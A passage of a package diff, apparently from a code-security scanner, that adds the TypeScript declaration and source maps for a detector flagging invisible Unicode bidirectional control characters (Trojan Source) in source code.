e,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC;YACxC,GAAG,IAAI,IAAI,GAAG,CAAC,CAAC;QAClB,CAAC;aAAM,CAAC;YACN,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;QACjB,CAAC;IACH,CAAC;IACD,GAAG,IAAI,GAAG,CAAC;IACX,OAAO,IAAI,MAAM,CAAC,GAAG,CAAC,CAAC;AACzB,CAAC"}

package/dist/detectors/bidi-control.d.ts

@@ -0,0 +1,14 @@
+/**
+ * obf.bidi-control — Layer A.
+ *
+ * Flags Unicode bidirectional control characters in source code (Trojan
+ * Source, CVE-2021-42574). These are invisible characters that can make
+ * source code render differently than it executes.
+ *
+ * Always blocks: there is essentially no legitimate reason for these to
+ * appear in source. They come up in localized strings rarely, but those
+ * should be in resource files, not code.
+ */
+import type { Detector } from "../types.js";
+export declare const bidiControlChar: Detector;
+//# sourceMappingURL=bidi-control.d.ts.map

package/dist/detectors/bidi-control.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"bidi-control.d.ts","sourceRoot":"","sources":["../../src/detectors/bidi-control.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAEH,OAAO,KAAK,EAAE,QAAQ,EAAwB,MAAM,aAAa,CAAC;AAyBlE,eAAO,MAAM,eAAe,EAAE,QAsC7B,CAAC"}